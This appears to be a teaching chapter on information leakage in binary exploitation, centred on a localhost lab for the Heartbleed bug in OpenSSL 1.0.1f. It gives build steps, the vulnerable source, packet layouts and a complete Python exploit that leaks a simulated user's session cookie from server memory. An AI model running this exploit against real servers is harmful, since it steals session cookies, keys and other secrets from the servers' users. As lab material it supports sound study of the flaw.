In the context of binary exploitation, information leakage attacks are based on bugs such as integers overflows, or unchecked bounds, and can be used to leak the memory contents of a process. Using this kind of attack we can overcome some protection mechanism that we just studied. We could leak stack canaries and then use them to successfully overflow the stack, or we could leak addresses from the stack or other structures, thus defeating ASLR.
More generally, this class of attacks includes any method that leads to the exposure of secret information (e.g., documents, keys). Besides software bugs, things like too much logging can also count as information leakage. For example, leaving the debug logging output of your web application can result in leaking paths on the hosting machine that can later be used in attacks.
A very famous and recent bug that leaks memory content is Heartbleed. The vulnerability was discovered in OpenSSL's code, and is a very trivial memory copy between 2 buffers with an unsanitized length parameter given as input by the user. Using this, the attacker can leak any secrets kept in a webserver's memory during operation, including, but not limited to:
This section will go through a Proof-of-Concept exploit that will enable us to leak a normal user's session cookie for a vulnerable server (localhost).
To setup a minimal environment, we need a vulnerable OpenSSL version and a webserver. We also need to configure a basic website that will just serve a static page.
tar xvf ~/Downloads/openssl-1.0.1f.tar.gz tar xvf ~/Downloads/nginx-1.6.0.tar.gz
If Perl 5.18.X is installed on your machine, you'll have to apply a patch to the OpenSSL sources in order to compile. Use the first command to find Perl's version, and skip to the next group of commands if it's older than 5.18.X.
perl -v This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi (with 41 registered patches, see perl -V for more detail) ...
Download this patch: openssl-perl-5.18.x.patch.tar.gz
cd openssl-1.0.1f.tar.gz tar xvf ~/Downloads/openssl-perl-5.18.x.patch.tar.gz patch -p1 < openssl-perl-5.18.x.patch
Use default options for any exception that patch will encounter.
Continue from here if your Perl version is older than 5.18.X.
Note that we are only building Nginx, which will take care of running make in the OpenSSL directory for us.
cd nginx-1.6.0.tar.gz mkdir ~/vuln ./configure --prefix=$HOME/vuln --with-openssl=../openssl-1.0.1f --with-http_ssl_module --without-http_rewrite_module make make install
You should be able to run the Nginx binary after this step:
~nginx-1.6.0.tar.gz$ ~/vuln/sbin/nginx -V nginx version: nginx/1.6.0 built by gcc 4.8.2 (Ubuntu 4.8.2-19ubuntu1) TLS SNI support enabled configure arguments: --prefix=/home/vladum/vuln --with-openssl=../openssl-1.0.1f --with-http_ssl_module --without-http_rewrite_module
Prepare a self-signed certificate:
sudo mkdir -p /etc/nginx/ssl sudo openssl genrsa -des3 -out /etc/nginx/ssl/server.key 1024
Enter any passphrase.
sudo openssl req -new -key /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.csr sudo cp /etc/nginx/ssl/server.key /etc/nginx/ssl/server.key.org sudo openssl rsa -in /etc/nginx/ssl/server.key.org -out /etc/nginx/ssl/server.key sudo openssl x509 -req -days 365 -in /etc/nginx/ssl/server.csr -signkey /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.crt
Replace ~/vuln/conf/nginx.conf with the following configuration:
worker_processes 1;
events {
worker_connections 1024;
}
http {
server {
listen 127.0.0.1:11443;
server_name localhost;
root /usr/share/nginx/www;
index index.html;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
}
}
Nginx configuration and a static HTML page:
sudo mkdir -p /usr/share/nginx/www sudo chown vladum: /usr/share/nginx/www echo “Hello” > /usr/share/nginx/www/index.html
Start the server:
~$ ~/vuln/sbin/nginx
You should see the page live at https://127.0.0.1:11443. Ignore the certificate warning.
General information about this vulnerability can be obtained from this website.
The TLS Heartbeat protocol extension (see RFC 6520) specifies a keep-alive functionality between a TLS client and server that uses 2 messages: a request and the response. The RFC mandates the following:
A HeartbeatRequest message can arrive almost at any time during the lifetime of a connection. Whenever a HeartbeatRequest message is received, it SHOULD be answered with a corresponding HeartbeatResponse message. [...] When a HeartbeatRequest message is received and sending a HeartbeatResponse is not prohibited as described elsewhere in this document, the receiver MUST send a corresponding HeartbeatResponse message carrying an exact copy of the payload of the received HeartbeatRequest.
Both Heartbeat messages have the following format:
struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage;
The vulnerable OpenSSL allocates memory for the response (using OPENSSL_malloc) using the received payload length and copies the same amount of data from the received payload buffer. No bound checks are performed. The relevant source code looks like this:
/* Allocate memory for the response, size is 1 bytes * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload);
If the attacker sends a payload, but a bogus, big, payload_length, the vulnerable routine will copy past the end of the buffer and leak memory contents. Since the payload_length field is represented on 2 bytes, 64KB can be leaked.
A TLS channel is established after the initial handshake part of the protocol. Since the Heartbeat RFC specifies the a Heartbeat Request can be send at any time, we simply have to initiate a TLS connection with a ClientHello message (first step of the handshake), and the send the bogus Heartbeat Request.
The ClientHello packet looks like this:
16 03 02 00 31 # TLS Header 01 00 00 2d # Handshake header 03 02 # ClientHello field: version number (TLS 1.1) 50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random 00 # ClientHello field: session id 00 04 # ClientHello field: cipher suite length 00 33 c0 11 # ClientHello field: cipher suite(s) 01 # ClientHello field: compression support, length 00 # ClientHello field: compression support, no compression (0) 00 00 # ClientHello field: extension length (0)
After sending this, we can read the server's response and send the payload, which looks like this:
18 # Content type = 18 (Heartbeat message)
03 02 # Version
00 03 # Packet length
01 # Heartbeat message type (1 = request)
FF FF # Payload length
# There is no actual message, just an empty string
Exploit code:
import socket import time CLIENT_HELLO = ''' 16 03 02 00 31 # TLS Header 01 00 00 2d # Handshake header 03 02 # ClientHello field: version number (TLS 1.1) 50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random 00 # ClientHello field: session id 00 04 # ClientHello field: cipher suite length 00 33 c0 11 # ClientHello field: cipher suite(s) 01 # ClientHello field: compression support, length 00 # ClientHello field: compression support, no compression (0) 00 00 # ClientHello field: extension length (0) ''' BAD_HB = ''' 18 # Content type = 18 (Heartbeat message) 03 02 # Version 00 03 # Packet length 01 # Heartbeat message type (1 = request) FF FF # Payload length # There is no actual message, just an empty string ''' def no_comments(p): r = '' next_line = False for line in p.split('\n'): for hexbyte in line.split(' '): if len(hexbyte) == 0 or hexbyte[0] == '#': next_line = True break r += hexbyte.decode('hex') if next_line: continue return r def recvall(s, timeout=3): s.setblocking(0) total_data = [] data = '' begin = time.time() while True: if total_data and time.time() - begin > timeout: break elif time.time() - begin > timeout * 2: break try: data = s.recv(8192) if data: total_data.append(data) begin = time.time() else: time.sleep(0.1) except: pass return ''.join(total_data) def attack(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(no_comments(CLIENT_HELLO)) recvall(s) s.send(no_comments(BAD_HB)) print recvall(s) attack('127.0.0.1', 11443)
To simulate a real life situation, we'll have to send a dummy request to the webserver from a normal user. Use the following file for this:
import requests c = { 'session': 'ultr@_s3cr3t_c00kie' } requests.get('https://127.0.0.1:11443', cookies=c, verify=False)
Running alice.py will place a cookie in the webserver's memory that can be leaked with our exploit:
~$ python alice.py
~$ python hb.py
...
ultr@_s3cr3t_c00kie
...
Game over!